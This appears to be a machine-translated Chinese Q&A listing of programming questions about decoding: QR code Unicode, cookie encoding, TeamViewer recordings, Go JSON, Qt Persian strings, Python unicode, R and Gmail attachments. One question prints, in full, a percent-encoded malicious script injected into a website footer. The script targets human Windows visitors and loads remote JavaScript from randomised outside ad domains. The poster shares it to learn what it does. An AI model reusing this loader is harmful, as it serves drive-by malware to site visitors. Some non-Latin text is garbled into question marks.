标签: decoding

QRCode中的Unicode编码和解码问题

我正在尝试生成UTF-8 QRCode,以便我可以加载重音和Unicode字符.

为了测试它,我使用了许多解码解决方案:

  1. http://zxing.org/w/decode.jspx - zxing项目也在Android中使用
  2. http://www.drhu.org/QRCode/QRDecoder.php - 一个PHP解码器
  3. http://zbar.sf.net - ZBar条形码阅读器 - 用于嵌入式的OpenSource和C项目

所有这些都给了我相同的结果.

你可以试试这个图像适用于 Unicode字符.

但如果我尝试使用zxing或Google Chart API生成QRCode,我无法正确解码.

我试过这个:

  1. http://chart.apis.google.com/chart?cht=qr&chs=200x200&choe=SHIFT_JIS&chl=R%C3%A9my+Hubscher
  2. http://chart.apis.google.com/chart?cht=qr&chs=200x200&choe=ISO-8859-1&chl=R%C3%A9my+Hubscher
  3. http://chart.apis.google.com/chart?cht=qr&chs=200x200&choe=UTF-8&chl=R%C3%A9my+Hubscher

但都没有成功.

你知道我怎么办吗?你知道哪个编码用于工作图像?

unicode encoding qr-code decoding character-encoding

8
推荐指数
1
解决办法
1万
查看次数

语言不可知的cookie编码/解码标准

无论后端平台如何,我都难以弄清楚编码/解码cookie值的标准是什么(或者有什么?).

根据RFC 2109:

VALUE对用户代理是不透明的,可以是源服务器选择发送的任何内容,可能是服务器选择的可打印ASCII编码."不透明"意味着内容仅对原始服务器感兴趣并且相关.实际上,任何检查Set-Cookie标头的人都可以读取内容.

这听起来像"服务器是老板",它决定编码将适用的任何内容.这使得设置cookie非常困难,例如PHP后端并从Python或Java或其他任何方式读取它,而无需在两侧编写任何手动编码/解码处理.

假设我们需要对值进行编码.俄语的/"??????? (*} ????????"/意思是"cookie值",其中包含一些额外的非字母数字字符.

蟒蛇:

几乎每个WSGI服务器都使用相同的Python并使用Python的SimpleCookie类来编码/解码八进制文字,即使很多人说八进制文字在ECMA-262严格模式下折旧.跆拳道?

因此,我们的原始cookie值变为 "/\"\320\277\320\265\321\207\320\265\320\275\321\214\320\265 (*} \320\267\320\275\320\260\321\207\320\265\320\275\320\270\321\217\"/"

Node.js的:

没有测试过,但我只是猜测一个JavaScript后端会使用原生encodeURIComponentdecodeURIComponent函数来使用十六进制转义/ unescaping吗?

PHP:

PHP将urlencode应用于与encodeURIComponent类似但不完全相同的cookie值.

所以原始价值变成了; %2F%22%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D1%8C%D0%B5+%28%2A%7D+%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F%22%2F甚至没有用双引号括起来.

然而; 如果JavaScript value变量具有上面的PHP编码值,则decodeURIComponent(value)给出/"???????+(*}+????????"/,请参阅"+"字符而不是空格.

Java,Ruby,Perl和.NET的情况如何?哪种语言跟随(或最接近)所需行为.实际上,W3是否有任何标准?

language-agnostic cookies encoding web-standards decoding

8
推荐指数
1
解决办法
898
查看次数

从TeamViewer录制(TVS文件)中提取音频/视频流?

TeamViewer允许使用文件扩展名以专有格式记录会话.tvs.可以使用本地计算机上安装的任何编解码器(使用TeamViewer)将其转换为AVI,但不能使用MP4或其他容器格式.

对AVI的编码非常慢(显然不是多线程,使用x264 vfw; XviD会花费更长时间),结果文件在VLC中无法正常播放,并且在Windows上的Avidemux中根本无法编辑.

因此,我想知道是否可以在TVS文件中提取音频和视频流,以便使用ffmpeg进行进一步处理(否则,我需要编码两次,这意味着每60分钟录像4小时).我希望它与其他格式相似,只是使用自定义编解码器 - 我希望它不是内置在TeamViewer中,但也可用于其他应用程序.

encoding extract decoding desktop-recording teamviewer

8
推荐指数
1
解决办法
1501
查看次数

Golang:如何解析/解组/解码json数组API响应?

我试图解析来自维基百科的API的响应https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/en.wikipedia.org/all-access/all-agents/Smithsonian_Institution/daily/20160101/20170101到一个结构数组,我将继续打印视图计数

但是,为了实现这一点,我试图实现的代码在构建和运行时终端中没有返回任何内容?

我未能成功的代码如下.

   type Post struct {
    Project string `json:"project"`
    Article string `json:"article"`
    Granularity string `json:"granularity"`
    Timestamp string `json:"timestamp"`
    Access string `json:"access"`
    Agent string `json:"agent"`
    Views int `json:"views"`
}

func main(){
    //The name of the wikipedia post
    postName := "Smithsonian_Institution"

    //The frequency of
    period := "daily"

    //When to start the selection
    startDate := "20160101"

    //When to end the selection
    endDate := "20170101"

    url := fmt.Sprintf("https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/en.wikipedia.org/all-access/all-agents/%s/%s/%s/%s", postName, period, startDate, endDate)

    //Get from URL
    req, err := http.Get(url)
    if err …
Run Code Online (Sandbox Code Playgroud)

arrays json decoding go unmarshalling

8
推荐指数
2
解决办法
3286
查看次数

波斯语中的QString

我给了Qt的项目,该项目需要支持波斯language.T他的数据从服务器发送和使用的第一线,我得到一个QByteArray中,并使用第二线将其转换为QString的:

    QByteArray readData = socket->readAll();
    QString DataAsString = QTextCodec::codecForUtfText(readData)->toUnicode(readData);
Run Code Online (Sandbox Code Playgroud)

当数据发送是英文时,一切都很好,但是当它是波斯语时,而不是

????
Run Code Online (Sandbox Code Playgroud)

我明白了

سÙ\u0084اÙ\u0085
Run Code Online (Sandbox Code Playgroud)

我提到了这个过程,所以人们不会建议制作使用.tr的多语言应用程序的方法.所有关于文本和解码都不是那些翻译方法.我的操作系统是Windows 8.1(对于你需要知道它的情况).

当服务器发送سلام时,我得到这个十六进制值

0008d8b3d984d8a7d985
Run Code Online (Sandbox Code Playgroud)

顺便说一句,服务器在开始时发送两个额外的字节,原因我不知道.所以我用以下方法切断它:

DataAsString.remove(0,2);
Run Code Online (Sandbox Code Playgroud)

在它被转换为QString之后,十六进制值在乞讨时有一些额外的.

感谢您阅读我的帖子.

c++ qt text decoding

8
推荐指数
1
解决办法
230
查看次数

维特比解码器

有没有人知道网上或书上的任何好资源哪里可以找到维特比解码器的解释或如何使用格子图解码接收的比特序列的教程?

谢谢!

encoding decoding viterbi

7
推荐指数
1
解决办法
2833
查看次数

我可以关闭隐式Python unicode转换来查找我的混合字符串错误吗?

在分析我们的代码时,我惊讶地发现数百万次调用
C:\ Python26\lib\encodings\utf_8.py:15(解码)

我开始调试,发现在我们的代码库中存在许多小错误,通常将字符串与unicode进行比较或添加sting和unicode.Python慷慨地解码字符串并在unicode中执行以下操作.

多么体贴.但是很贵!

我精通unicode,读过Joel SpolskyDive Into Python ......

我尝试将代码内部仅保留在unicode中.

我的问题 - 我可以关闭这个pythonic好人行为吗?至少在我发现所有这些错误并修复它们之前(通常通过添加一个u'u')?

其中一些非常难找(一个变量有时是一个字符串......).

Python 2.6.5(我不能切换到3.x).

python debugging unicode decoding

7
推荐指数
1
解决办法
1711
查看次数

解码一些注入的Javascript?

我把以下内容注入了我的网站的页脚,为了解决更大的谜团("如何"发生),我正在尝试解码它.有任何想法吗?

这是代码:

<ads><script type="text/javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%64%3D%5B%22%6D%79%61%64%73%2E%6E%61%6D%65%22%2C%22%61%64%73%6E%65%74%2E%62%69%7A%22%2C%22%74%6F%6F%6C%62%61%72%63%6F%6D%2E%6F%72%67%22%2C%22%6D%79%62%61%72%2E%75%73%22%2C%22%66%72%65%65%61%64%2E%6E%61%6D%65%22%5D%2C%65%3D%5B%22%76%61%67%69%2E%22%2C%22%76%61%69%6E%2E%22%2C%22%76%61%6C%65%2E%22%2C%22%76%61%72%73%2E%22%2C%22%76%61%72%79%2E%22%2C%22%76%61%73%61%2E%22%2C%22%76%61%75%74%2E%22%2C%22%76%61%76%73%2E%22%2C%22%76%69%6E%79%2E%22%2C%22%76%69%6F%6C%2E%22%2C%22%76%72%6F%77%2E%22%2C%22%76%75%67%73%2E%22%2C%22%76%75%6C%6E%2E%22%5D%2C%66%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%2E%6C%65%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%6C%79%63%6F%6F%6B%69%65%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%73%79%73%74%65%6D%2F%63%61%70%74%69%6F%6E%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));</script></ads>
Run Code Online (Sandbox Code Playgroud)

javascript decoding

7
推荐指数
2
解决办法
4万
查看次数

像Python一样编码R("ord"和"chr")

我想知道如何在R中进行编码和解码.在Python中,我们可以使用ord('a')和chr(97)将字母转换为数字或将数字转换为字母.你知道R中有类似的功能吗?谢谢!

例如,在python中

>>> ORD( "a")的

97

>>> ORD( "A")

65

>>> CHR(97)

'一个'

>>> CHR(90)

'Z'

FYI:Python中的ord(c)给定一个长度为1的字符串,当参数是unicode对象时返回表示字符的Unicode代码点的整数,或者当参数是8位字符串时返回字节的值.例如,ord('a')返回整数97,ord(u'\ u2020')返回8224.这是8位字符串的chr()和unicode对象的unichr()的反转.如果给出了unicode参数并且Python是使用UCS2 Unicode构建的,则字符的代码点必须在[0..65535]范围内; 否则字符串长度为2,将引发TypeError.

Python中的chr(i)返回一个字符串,其ASCII码是整数i.例如,chr(97)返回字符串'a'.这是ord()的反转.参数必须在[0..255]范围内,包括在内; 如果i超出该范围,则会引发ValueError.另见unichr().

encoding r decoding

7
推荐指数
1
解决办法
2万
查看次数

解码 Gmail API 下载的附件数据

我可以通过传递userId、nessageID和attachmentID来获取附件(参考:

谷歌开发者

可可文档

我收到如下回复。

{ "data": "JVBERi0xLjYKJeTjz9IKMSAwIG9iagpbL1BERi9JbWFnZUIvSW1hZ2VDL0l...." "size": 629163 }

我想解码数据以保存在我的本地应用程序中,稍后我将显示 .

我可以成功下载并保存在本地(文档文件夹)但看不到附件中的内容,请完善我。

gmail base64 decoding google-api-objc-client gmail-api

7
推荐指数
1
解决办法
843
查看次数